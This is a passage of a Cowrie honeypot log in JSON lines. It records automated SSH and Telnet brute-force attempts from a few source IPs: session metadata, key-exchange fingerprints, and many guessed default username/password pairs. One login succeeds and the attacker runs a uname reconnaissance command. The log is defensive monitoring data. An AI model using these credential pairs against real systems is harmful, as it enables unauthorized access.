ffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:27.490298Z","src_ip":"77.239.106.153","session":"0c775f848c7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:27.880918Z","src_ip":"77.239.106.153","session":"0c775f848c7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:28.973931Z","src_ip":"77.239.106.153","session":"0c775f848c7a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:29.786765Z","src_ip":"95.38.165.118","session":"df81a03f5d25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:30.266125Z","src_ip":"95.38.165.118","session":"df81a03f5d25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:30.269840Z","src_ip":"95.38.165.118","session":"df81a03f5d25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:30.849493Z","src_ip":"95.38.165.118","session":"df81a03f5d25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:30.854621Z","src_ip":"95.38.165.118","session":"df81a03f5d25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":50518,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8f211fda390","protocol":"ssh","message":"New connection: 95.38.165.118:50518 (10.17.0.5:22) [session: a8f211fda390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:31.276924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:31.280438Z","src_ip":"95.38.165.118","session":"a8f211fda390","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:31.453748Z","src_ip":"95.38.165.118","session":"a8f211fda390","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:31.985970Z","src_ip":"95.38.165.118","session":"a8f211fda390","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:33.158403Z","src_ip":"95.38.165.118","session":"a8f211fda390","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":38440,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbadb9a1dcdc","protocol":"ssh","message":"New connection: 95.38.165.118:38440 (10.17.0.5:22) [session: dbadb9a1dcdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:36.412646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:36.608000Z","src_ip":"95.38.165.118","session":"dbadb9a1dcdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:36.612428Z","src_ip":"95.38.165.118","session":"dbadb9a1dcdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:37.758146Z","src_ip":"95.38.165.118","session":"dbadb9a1dcdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:39.343935Z","src_ip":"95.38.165.118","session":"dbadb9a1dcdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":40940,"dst_ip":"10.17.0.5","dst_port":23,"session":"13e5b3eb3f28","protocol":"telnet","message":"New connection: 178.128.93.180:40940 (10.17.0.5:23) [session: 13e5b3eb3f28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:41.071818Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":38454,"dst_ip":"10.17.0.5","dst_port":22,"session":"3660f906d821","protocol":"ssh","message":"New connection: 95.38.165.118:38454 (10.17.0.5:22) [session: 3660f906d821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:41.622196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:41.634122Z","src_ip":"95.38.165.118","session":"3660f906d821","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:42.506072Z","src_ip":"95.38.165.118","session":"3660f906d821","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2W3E4R","message":"login attempt [root/1Q2W3E4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:43.009109Z","src_ip":"95.38.165.118","session":"3660f906d821","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:44.182236Z","src_ip":"95.38.165.118","session":"3660f906d821","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":53002,"dst_ip":"10.17.0.5","dst_port":22,"session":"00d3cce2b327","protocol":"ssh","message":"New connection: 95.38.165.118:53002 (10.17.0.5:22) [session: 00d3cce2b327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:46.789963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:46.794900Z","src_ip":"95.38.165.118","session":"00d3cce2b327","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:46.956138Z","src_ip":"95.38.165.118","session":"00d3cce2b327","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:47.457419Z","src_ip":"95.38.165.118","session":"00d3cce2b327","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:48.628392Z","src_ip":"95.38.165.118","session":"00d3cce2b327","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":53008,"dst_ip":"10.17.0.5","dst_port":22,"session":"4947a9b77d55","protocol":"ssh","message":"New connection: 95.38.165.118:53008 (10.17.0.5:22) [session: 4947a9b77d55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:51.699778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:51.704404Z","src_ip":"95.38.165.118","session":"4947a9b77d55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:51.883911Z","src_ip":"95.38.165.118","session":"4947a9b77d55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:54.164673Z","src_ip":"95.38.165.118","session":"4947a9b77d55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:55.764823Z","src_ip":"95.38.165.118","session":"4947a9b77d55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":43646,"dst_ip":"10.17.0.5","dst_port":22,"session":"092b4703dbe3","protocol":"ssh","message":"New connection: 95.38.165.118:43646 (10.17.0.5:22) [session: 092b4703dbe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:56.664960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:56.683602Z","src_ip":"95.38.165.118","session":"092b4703dbe3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:56.952991Z","src_ip":"95.38.165.118","session":"092b4703dbe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.44845533370972,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:57.802202Z","src_ip":"178.128.93.180","session":"bd105e3470fb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:58.347766Z","src_ip":"95.38.165.118","session":"092b4703dbe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":43650,"dst_ip":"10.17.0.5","dst_port":22,"session":"77df00836630","protocol":"ssh","message":"New connection: 95.38.165.118:43650 (10.17.0.5:22) [session: 77df00836630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:02.246525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:02.372122Z","src_ip":"95.38.165.118","session":"77df00836630","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:03.688391Z","src_ip":"95.38.165.118","session":"77df00836630","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:04.207391Z","src_ip":"95.38.165.118","session":"77df00836630","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:05.401062Z","src_ip":"95.38.165.118","session":"77df00836630","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":49432,"dst_ip":"10.17.0.5","dst_port":22,"session":"92b794d43198","protocol":"ssh","message":"New connection: 95.38.165.118:49432 (10.17.0.5:22) [session: 92b794d43198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:07.565488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:07.570805Z","src_ip":"95.38.165.118","session":"92b794d43198","protocol":"ssh"}
